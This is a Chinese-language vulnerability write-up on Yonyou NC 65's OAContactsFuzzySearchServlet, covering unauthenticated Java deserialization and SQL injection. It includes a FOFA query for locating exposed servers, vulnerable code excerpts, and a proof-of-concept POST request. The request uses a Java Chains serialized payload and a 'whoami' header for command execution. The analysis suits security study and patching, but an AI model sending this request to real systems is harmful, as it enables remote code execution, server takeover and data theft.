漏洞简介
用友NC是用公司推出的一款企业管理软件,涵盖财务、供应链、生产制造等多个业务领域,旨在帮助企业实现信息化管理。用友NC的OAContactsFuzzySearchServlet组件存在反序列化漏洞。该Servlet在处理用户请求时,可能对接收到的序列化数据(如Java的ObjectInputStream)未进行安全检查,直接进行反序列化操作。攻击者可以构造恶意的序列化对象,其中包含可执行的代码,当OAContactsFuzzySearchServlet反序列化该恶意对象时,就会触发代码执行。该漏洞可能允许攻击者在服务器上执行任意代码,从而完全控制服务器,窃取敏感数据,篡改系统配置,或进行其他恶意活动,对企业的业务系统和数据安全构成严重威胁。
影响版本
NC 65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
反序列化
直接看下OAContactsFuzzySearchServlet的实现
public class OAContactsFuzzySearchServlet extends HttpServlet {
private static final long serialVersionUID = -5847889958965745395L;
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
HashMap<Object, Object> headInfo = new HashMap();
try {
headInfo = (HashMap)in.readObject();
由于代码在处理 HTTP 请求时,直接对用户传入的输入流进行 Java 反序列化操作(in.readObject()),且该操作发生在任何身份验证或安全检查之前,造成了未经身份验证的远程代码执行(RCE)漏洞。攻击者可以构造恶意的序列化数据流,在服务器反序列化时执行任意代码。
SQL注入
在反序列化解析后其中的userCode和dsName被带入getUserByCodeOrPK方法
try {
headInfo = (HashMap)in.readObject();
} catch (ClassNotFoundException e1) {
CpLogger.error(e1.getMessage());
}
String userCode = (String)headInfo.get("userCode");
String dsName = (String)headInfo.get("dsName");
ISecurityTokenCallback sc = (ISecurityTokenCallback)NCLocator.getInstance().lookup(ISecurityTokenCallback.class);
InvocationInfoProxy.getInstance().setUserCode(userCode);
byte[] annonyTokens = sc.token("0".getBytes(), userCode.getBytes());
sc.restore(annonyTokens);
UserQryService service = new UserQryServiceImpl();
CpUserWithDetailVO[] userArray = service.getUserByCodeOrPK(userCode, dsName);
继续跟进getUserByCodeOrPK方法
public class UserQryServiceImpl implements UserQryService {
public CpUserWithDetailVO[] getUserByCodeOrPK(String param, String dataSourceName) {
String tableName = CpUserWithDetailUtil.getDefaultTableName();
PtBaseDAO dao = new PtBaseDAO(dataSourceName);
String sql = "SELECT * FROM " + tableName + " WHERE cp_user.user_name like '%" + param + "%' OR cp_user.user_code like '%" + param + "%'";
SQLParameter SqlParam = new SQLParameter();
SqlParam.addParam(param);
SqlParam.addParam(param);
List list = null;
param 变量(即 userCode)是直接从反序列化的 headInfo 中获取的用户输入,未经任何过滤或转义,就被直接用于构建SQL查询语句。尽管代码后续创建了 SQLParameter 对象并调用了 addParam(param),但这些参数是为预编译语句准备的。然而,sql 字符串本身是通过字符串拼接构建的,而不是一个带有占位符的预编译语句模板。因此,SQLParameter 的使用在此处无法阻止SQL注入,因为注入点在 sql 字符串被解析和执行之前就已经形成了,从而造成了SQL注入漏洞。
漏洞复现
POST /servlet/OAContactsFuzzySearchServlet?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-java-serialized-object
X-Authorization: whoami
{{file(/tmp/javachains.ser)}}
使用Java Chains 的TransformerWithDefiningClassLoader2构造绕黑名单进行命令执行回显

成功执行命令并回显执行结果



